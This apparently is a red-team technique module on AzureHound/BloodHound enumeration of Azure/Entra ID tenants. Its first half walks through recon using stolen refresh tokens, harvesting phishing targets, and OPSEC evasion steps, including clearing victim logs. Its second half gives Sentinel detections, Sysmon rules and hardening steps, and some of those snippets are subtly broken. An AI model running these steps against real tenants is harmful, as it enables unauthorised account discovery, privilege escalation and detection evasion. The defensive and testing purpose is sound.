| Field | Value |
|---|---|
| Module ID | REC-CLOUD-001 |
| Technique Name | BloodHound for Azure/Entra privilege paths |
| MITRE ATT&CK ID | T1087.004 – Account Discovery: Cloud Account (+ related Cloud Matrix techniques) |
| CVE | N/A (Legitimate penetration testing tool) |
| Platform | Microsoft Entra ID / Azure Cloud |
| Viability Status | ACTIVE ✓ |
| Difficulty to Detect | MEDIUM-to-HIGH (depends on logging configuration) |
| Requires Authentication | Yes (compromised credentials or tokens) |
| Applicable Versions | All Azure/Entra ID tenants |
| Last Verified | December 2025 |
| Author | SERVTEP – Artur Pchelnikau |
BloodHound with AzureHound is a sophisticated cloud reconnaissance and privilege path mapping framework that enables threat actors to systematically enumerate Azure/Entra ID environments and visualize privilege escalation routes. AzureHound, a Go-based data collector in the BloodHound suite, leverages publicly accessible Microsoft Graph and Azure REST APIs to extract comprehensive information about cloud identities, permissions, infrastructure, and applications—then transforms this raw data into interactive attack path graphs through BloodHound’s visualization engine.
Threat Profile: An attacker with compromised cloud credentials or stolen tokens can execute AzureHound to:
Business Impact:
Before executing AzureHound, establish target scope:
Objective: Extract complete Entra ID user roster for targeting.
# Authenticate with username/password
./azurehound -u "user@contoso.com" -p "Password123!" \
list users --tenant "contoso.onmicrosoft.com" -o users.json
# Or with refresh token (bypass MFA)
./azurehound -r "0.ARwA6Wg123..." \
list users --tenant "contoso.onmicrosoft.com" -o users.json
# Or with JWT
./azurehound -j "eyJhbGciOiJSUzI1NiI..." \
list users --tenant "contoso.onmicrosoft.com" -o users.json
Data Extracted Per User:
displayName (full name)jobTitle (identifies high-value targets: “Administrator”, “Cloud Architect”)mail (email address for phishing)userPrincipalName (UPN for authentication attacks)lastPasswordChangeDateTime (password age)accountEnabled (active vs. disabled accounts)userType (Member vs. Guest)tenantId, tenantNameExample Processing:
# Extract administrators
jq '.[] | select(.jobTitle | contains("Admin")) | .userPrincipalName' users.json
# Extract mail addresses (phishing targets)
jq '.[] | .mail' users.json > targets.txt
Objective: Map privilege escalation paths to Global Admin.
# Enumerate all Entra ID roles
./azurehound -r "$REFRESH_TOKEN" \
list roles --tenant "contoso.onmicrosoft.com" -o roles.json
# Enumerate role assignments (who has what admin role)
./azurehound -r "$REFRESH_TOKEN" \
list role-assignments --tenant "contoso.onmicrosoft.com" -o role-assignments.json
# Enumerate groups and members (nested group escalation)
./azurehound -r "$REFRESH_TOKEN" \
list groups --tenant "contoso.onmicrosoft.com" -o groups.json
./azurehound -r "$REFRESH_TOKEN" \
list group-members --tenant "contoso.onmicrosoft.com" -o group-members.json
# Enumerate application role assignments
./azurehound -r "$REFRESH_TOKEN" \
list app-role-assignments --tenant "contoso.onmicrosoft.com" -o app-roles.json
Privilege Escalation Paths Identified:
Objective: Map cloud resources for lateral movement and data exfiltration.
# Storage accounts (data exfiltration targets)
./azurehound -r "$REFRESH_TOKEN" \
list storage-accounts --tenant "contoso.onmicrosoft.com" -o storage.json
./azurehound -r "$REFRESH_TOKEN" \
list storage-containers --tenant "contoso.onmicrosoft.com" -o containers.json
# Key vaults (credential storage)
./azurehound -r "$REFRESH_TOKEN" \
list key-vaults --tenant "contoso.onmicrosoft.com" -o keyvaults.json
# Key vault access policies (who can access secrets)
./azurehound -r "$REFRESH_TOKEN" \
list key-vault-access-policies --tenant "contoso.onmicrosoft.com" -o kv-policies.json
# Applications (potential backdoors)
./azurehound -r "$REFRESH_TOKEN" \
list apps --tenant "contoso.onmicrosoft.com" -o applications.json
# Automation accounts (code execution with high privilege)
./azurehound -r "$REFRESH_TOKEN" \
list automation-accounts --tenant "contoso.onmicrosoft.com" -o automation.json
# Virtual machines
./azurehound -r "$REFRESH_TOKEN" \
list virtual-machines --tenant "contoso.onmicrosoft.com" -o vms.json
Data Extracted:
Objective: Ingest AzureHound JSON data and visualize attack paths.
# Combine all collected data
cat *.json > combined-output.json
# Upload to BloodHound via GUI or API
# BloodHound Web Interface:
# 1. Login to BloodHound (http://localhost:8080)
# 2. Click "Upload Data"
# 3. Select combined-output.json
# 4. Wait for processing (10-30 minutes for large tenant)
# Query attack paths programmatically
# Search: "User1" -> "Global Administrator"
# BloodHound displays:
# User1 -> (member of) -> Department Admins Group
# -> (inherited) -> Global Administrator Role
# Identify misconfigured service principals
# Search: ServicePrincipal with "RoleManagement.ReadWrite.Directory" permission
# Escalation path shown: SP can assign admin roles to any user
BloodHound Attack Path Visualization:
Objective: Full automated enumeration in single command.
# List all available collection options
./azurehound list -h
# Execute full enumeration
./azurehound -r "$REFRESH_TOKEN" \
list \
--tenant "contoso.onmicrosoft.com" \
--all-users \
--all-devices \
--all-groups \
--all-roles \
--all-subscriptions \
--all-resource-groups \
--all-virtual-machines \
--all-key-vaults \
--all-storage-accounts \
--all-apps \
-o complete-tenant-dump.json
# Monitor progress (large tenants may take 10-60 minutes)
# Output: JSON containing all organizational structure, identities, permissions
Result: Comprehensive representation of entire Azure/Entra ID environment suitable for offline analysis and visualization.
Objective: Execute AzureHound while minimizing detection.
# OPSEC Technique 1: Use legitimate-looking refresh token
# Obtain via device code flow (appears as standard user login)
# Less suspicious than raw credential usage
# OPSEC Technique 2: Stagger queries (slower execution, less noisy)
./azurehound -r "$REFRESH_TOKEN" list users ... &
sleep 300 # Wait before next command
./azurehound -r "$REFRESH_TOKEN" list groups ... &
# OPSEC Technique 3: Execute from victim subscription (harder to attribute)
# Create VM in victim's Azure environment, run AzureHound locally
# Use managed identity (no credentials visible)
# OPSEC Technique 4: Filter queries (reduce API call volume)
# Query only specific OUs or groups, not entire tenant
./azurehound -r "$REFRESH_TOKEN" \
list users --tenant "contoso.onmicrosoft.com" \
--filter 'displayName eq "John*"' -o filtered.json
# OPSEC Technique 5: Clean logs from victim environment
# Remove AzureHound test calls and enumeration traces
# (if access to victim logs obtained)
| Command | Purpose | API Used | Logs Generated |
|---|---|---|---|
list users |
Enumerate users | Graph | Logged (RequestURI=/users) |
list groups |
Enumerate groups | Graph | Logged |
list roles |
Directory roles | Graph | Logged |
list role-assignments |
Role assignments | Graph | Logged |
list devices |
Cloud devices | Graph | Logged |
list service-principals |
Apps/SPs | Graph | Logged |
list storage-accounts |
Storage accounts | ARM REST | NOT logged (logging gap) |
list key-vaults |
Key vaults | ARM REST | NOT logged |
list virtual-machines |
VMs | ARM REST | NOT logged |
list subscriptions |
Subscriptions | ARM REST | NOT logged |
list container-registries |
Container images | ARM REST | NOT logged |
list automation-accounts |
Automation runbooks | ARM REST | NOT logged |
# Device code flow (interactive, bypasses MFA if multi-factor fatigue succeeds)
$body = @{
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
"resource" = "https://graph.microsoft.com"
}
$response = Invoke-RestMethod -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
-Method Post -Body $body
# User visits https://microsoft.com/devicelogin and enters code
# Generates refresh token automatically
# Service principal with secret
./azurehound --client-id "application-id" \
--client-secret "secret-value" \
--tenant "contoso.onmicrosoft.com" \
list users -o output.json
# Service principal with certificate
./azurehound --client-id "application-id" \
--certificate-path "/path/to/cert.pem" \
--tenant "contoso.onmicrosoft.com" \
list users -o output.json
Procedure:
# Test with valid refresh token
./azurehound -r "0.ARwA6Wg..." list users --tenant "contoso.onmicrosoft.com" -o test-users.json
# Verify output
if [ -f "test-users.json" ] && [ $(jq length test-users.json) -gt 0 ]; then
echo "✓ Test PASSED: AzureHound authenticated and enumerated users"
else
echo "✗ Test FAILED: No output or authentication failure"
fi
Success Criteria: JSON file generated with 1+ user objects.
Procedure:
# Enumerate roles
./azurehound -r "$REFRESH_TOKEN" list roles -o roles.json
# Search for Global Administrator role
GLOBAL_ADMIN=$(jq '.[] | select(.displayName == "Global Administrator")' roles.json)
if [ ! -z "$GLOBAL_ADMIN" ]; then
echo "✓ Test PASSED: Global Administrator role found"
else
echo "✗ Test FAILED: Global Administrator role not accessible"
fi
Success Criteria: Global Administrator role (or equivalent) enumerated.
Procedure:
# Import to BloodHound (via GUI or API)
# Query: User -> Global Administrator
# Check if any paths found
PATHS=$(blcli interactive "MATCH (u:User)-[*]->(ga:Group {name: 'Global Administrators'}) RETURN count(u)")
if [ "$PATHS" -gt 0 ]; then
echo "✓ Test PASSED: Privilege escalation paths identified"
else
echo "⚠ Test PASSED (Expected): No escalation paths in this tenant"
fi
Success Criteria: Paths identified or confirmed as non-existent.
Procedure:
# Enumerate storage accounts
./azurehound -r "$REFRESH_TOKEN" list storage-accounts -o storage.json
# Count storage accounts found
STORAGE_COUNT=$(jq length storage.json)
if [ $STORAGE_COUNT -gt 0 ]; then
echo "✓ Test PASSED: Found $STORAGE_COUNT storage accounts"
jq '.[0]' storage.json # Display first account
else
echo "⚠ Test PASSED (Expected): No storage accounts or insufficient permissions"
fi
Success Criteria: 0+ storage accounts enumerated (depends on user permissions).
Rule Configuration:
KQL Query:
let AzureHoundEndpoints = dynamic([
"https://graph.microsoft.com/v1.0/users",
"https://graph.microsoft.com/v1.0/groups",
"https://graph.microsoft.com/v1.0/roles",
"https://graph.microsoft.com/v1.0/servicePrincipals",
"https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments",
"https://graph.microsoft.com/v1.0/devices",
"https://graph.microsoft.com/v1.0/applications",
"https://graph.microsoft.com/beta/groups",
"https://graph.microsoft.com/beta/servicePrincipals",
"https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess"
]);
MicrosoftGraphActivityLogs
| where TimeGenerated > ago(1h)
| where ResponseStatusCode == 200
| extend NormalizedUri = replace_regex(RequestUri, @'\b[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\b', @'<UUID>')
| extend NormalizedUri = replace_regex(NormalizedUri, @'\?.*$', @'')
| where NormalizedUri in (AzureHoundEndpoints)
| summarize
CallCount = count(),
UniqueEndpoints = dcount(NormalizedUri),
FirstCall = min(TimeGenerated),
LastCall = max(TimeGenerated),
UserAgents = make_set(UserAgent, 10)
by UserId, IPAddress, bin(TimeGenerated, 5m)
| where CallCount > 50 // Threshold: 50+ API calls in 5 minutes
| extend AlertSeverity = "High", TechniqueID = "T1087.004"
| project UserId, IPAddress, CallCount, UniqueEndpoints, FirstCall, LastCall, UserAgents, AlertSeverity, TechniqueID
What This Detects:
Manual Configuration Steps (Azure Portal):
AzureHound Graph API Enumeration PatternHigh5 minutes1 hourRule Configuration:
KQL Query:
MicrosoftGraphActivityLogs
| where TimeGenerated > ago(1h)
| where UserAgent contains "azurehound" or UserAgent contains "sharphound" or UserAgent contains "bloodhound"
| project TimeGenerated, UserId, UserPrincipalName, IPAddress, RequestUri, UserAgent, ResponseStatusCode
| extend AlertSeverity = "High", TechniqueID = "T1087.004"
What This Detects:
Note: AzureHound executes externally; local Windows Event Logs do NOT capture activity. Monitor on:
Sysmon can detect local AzureHound execution:
<Sysmon schemaversion="4.30">
<EventFiltering>
<!-- Detect AzureHound process execution -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">azurehound</CommandLine>
<CommandLine condition="contains">list users</CommandLine>
<CommandLine condition="contains">list groups</CommandLine>
<CommandLine condition="contains">list roles</CommandLine>
</ProcessCreate>
<!-- Detect network connections to Microsoft Graph API -->
<NetworkConnect onmatch="include">
<DestinationHostname condition="contains">graph.microsoft.com</DestinationHostname>
<DestinationHostname condition="contains">management.azure.com</DestinationHostname>
<DestinationHostname condition="contains">login.microsoftonline.com</DestinationHostname>
<DestinationPort>443</DestinationPort>
</NetworkConnect>
<!-- Detect BloodHound execution (Java + Neo4j) -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">bloodhound</CommandLine>
<CommandLine condition="contains">neo4j</CommandLine>
</ProcessCreate>
</EventFiltering>
</Sysmon>
Installation:
sysmon64.exe -accepteula -i sysmon-config.xml
Alert Name: “Reconnaissance activities detected via AzureHound enumeration”
Configuration:
Query: Monitor for role assignments and app consent changes (follow-on activities after AzureHound reconnaissance).
Search-UnifiedAuditLog -Operations "Add Member to Group", "Add Role" `
-StartDate (Get-Date).AddDays(-1) `
-EndDate (Get-Date) | Where-Object {
$_.AuditData -match "Global Administrator" -or
$_.AuditData -match "Privileged Role Administrator"
}
| Activity | Appears As | Legitimate Reason | Distinguish By |
|---|---|---|---|
| Compliance auditing tools | User/group enumeration | Security audit, SOC2 compliance | Scheduled jobs, expected service accounts |
| Azure AD reporting | Role enumeration | Access reviews, license reporting | Low frequency, known tools (PowerShell modules) |
| Identity governance solutions | Permission mapping | Delinea, Okta, access control sync | Expected tool binaries, service account context |
| Helpdesk automation | User lookups | Ticket system integration | Limited scope queries, specific user filters |
| EDR/MDR tools | Bulk enumeration | Threat detection, baseline building | Whitelisted agents, internal IP ranges |
Tuning:
// Exclude known legitimate sources
let WhitelistedAccounts = dynamic(["svc_audit@contoso.com", "svc_identity@contoso.com"]);
let WhitelistedIPs = dynamic(["10.0.0.0/8"]);
MicrosoftGraphActivityLogs
| where !UserId in (WhitelistedAccounts)
| where !IPAddress startswith "10.0.0"
| where CallCount > 50
// ... rest of detection logic
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Enable Graph activity log export to Log Analytics
$WorkspaceResourceId = "/subscriptions/{sub}/resourcegroups/{rg}/providers/microsoft.operationalinsights/workspaces/{workspace}"
Set-AzDiagnosticSetting -ResourceId $WorkspaceResourceId `
-Name "GraphActivityLogging" `
-Enabled $true `
-WorkspaceId $WorkspaceResourceId
Impact: Enables detection of AzureHound Graph API queries (largest portion of enumeration).
Manual Steps:
Block Suspicious API AccessImpact: Blocks AzureHound unless attacker has valid MFA credentials or refresh token.
Manual Steps:
Manual Steps:
Impact: Limits persistence opportunities via malicious apps.
Manual Steps:
Impact: Detects and logs all admin role usage; prevents standing admin accounts.
Manual Steps:
Impact: Invalidates tokens used from attacker machines.
Sentinel Query:
SigninLogs
| where TimeGenerated > ago(1h)
| where ResultType == 0 // Successful
| where AuthenticationRequirement == "multiFactorAuthentication"
| where ResourceDisplayName in ("Microsoft Graph", "Azure Management API")
| summarize by UserPrincipalName, Location, IPAddress, TimeGenerated
| where IPAddress !in ("<trusted_corp_ips>")
If AzureHound reconnaissance is suspected:
# Query Sentinel/Log Analytics
MicrosoftGraphActivityLogs
| where TimeGenerated > ago(7d)
| where UserAgent contains "azurehound" or
RequestUri contains "/users" and CallCount > 100
| export to CSV
# Non-interactive sign-ins (token-based)
Get-MgAuditLogSignIn -Filter "authenticationDetails/any(x:x/succeeded eq true)" `
-Properties userPrincipalName,ipAddress,clientAppUsed,authenticationDetails | Export-Csv
# Who accessed Graph API for enumeration?
$SourceUser = (MicrosoftGraphActivityLogs
| where RequestUri contains "/users"
| where CallCount > 100).UserId
Revoke-AzureADUserAllRefreshToken -ObjectId "<UserObjectId>"
| Preceding | Current | Following |
|---|---|---|
| T1078 (Valid Accounts) | T1087.004 (Account Discovery: Cloud) | T1087.002 (on-prem account discovery) |
| T1586 (Compromise Accounts) | ← | T1069.003 (Permission Groups: Cloud) |
| T1111 (Multi-Factor Auth Interception) | ← | T1098.003 (Account Manipulation: Cloud) |
| T1110 (Brute Force - informed targeting) | ||
| T1526 (Cloud Service Discovery) | ||
| T1580 (Cloud Infrastructure Discovery) |
Phase 1: Credential Compromise
├─ Phishing email with malicious link/attachment
├─ Employee clicks → browser session token stolen (infostealer)
└─ Token stored in browser cache (accessible to attacker)
Phase 2: Cloud Reconnaissance (T1087.004 - AzureHound)
├─ Attacker extracts refresh token from infostealer output
├─ Runs: azurehound list users --tenant contoso.com
├─ Discovers: 500+ users, 100+ admin role members
├─ Maps privilege escalation: User → Group → Global Admin
└─ Identifies: Automation account with runbook execution
Phase 3: Privilege Escalation
├─ BloodHound visualization shows:
│ User has permissions to modify Service Principal
│ Service Principal has RoleManagement.ReadWrite.Directory
├─ Escalation path: Compromise user → Change SP secret → Assign admin role
└─ Result: Global Administrator access obtained
Phase 4: Persistence & Exfiltration
├─ Create new global admin account (backdoor)
├─ Disable MFA temporarily
├─ Dump NTDS.dit equivalent (Graph Export)
├─ Access Key Vault secrets
└─ Export sensitive data from Storage accounts
Phase 5: Lateral Movement
├─ Use admin access to connect to on-premises AD (if hybrid)
├─ Execute commands via Automation account runbooks
├─ Pivot to business applications (Dynamics, Exchange, Teams)
└─ Establish long-term persistence across hybrid environment
Campaign Context:
Execution:
Detection Opportunities:
Response:
Campaign Context:
Execution:
Detection Opportunities:
Prevention/Response:
| Standard | Requirement | Mapping |
|---|---|---|
| CIS Controls v8 | CIS 6.1 (Account Management), CIS 3.2 (Logging) | Restrict cloud enumeration access; enable API logging |
| DISA STIG | Cloud security hardening | Implement MFA, CAP, disable legacy auth |
| NIST 800-53 | AC-2 (Account Management), SI-4 (Monitoring), AU-12 (Audit Log Generation) | Log cloud API activity; monitor for anomalies; implement strong identity controls |
| GDPR | Article 32 (Security Measures), Article 33 (Breach Notification) | Detect unauthorized access to identity data; implement incident response |
| DORA | Digital Operational Resilience | Monitor cloud identity service security; maintain incident response capability |
| NIS2 | Detection Capabilities | Establish baseline for normal API traffic; alert on deviations |
| ISO 27001:2022 | 5.2 (Information Security Policies), 8.2 (Access Control), 8.15 (Logging) | Implement access controls for cloud identity; enable comprehensive audit trails |
- name: Enumerate Entra ID Users with AzureHound
description: Use AzureHound to list all Entra ID users
supported_platforms:
- windows
- macos
- linux
input_arguments:
refresh_token:
description: Entra ID refresh token
type: string
default: "0.ARwA6Wg123..."
tenant:
description: Entra ID tenant name
type: string
default: "contoso.onmicrosoft.com"
executor:
name: bash
elevation_required: false
command: |
./azurehound -r "#{refresh_token}" list users --tenant "#{tenant}" -o users.json
echo "Enumerated $(jq length users.json) users"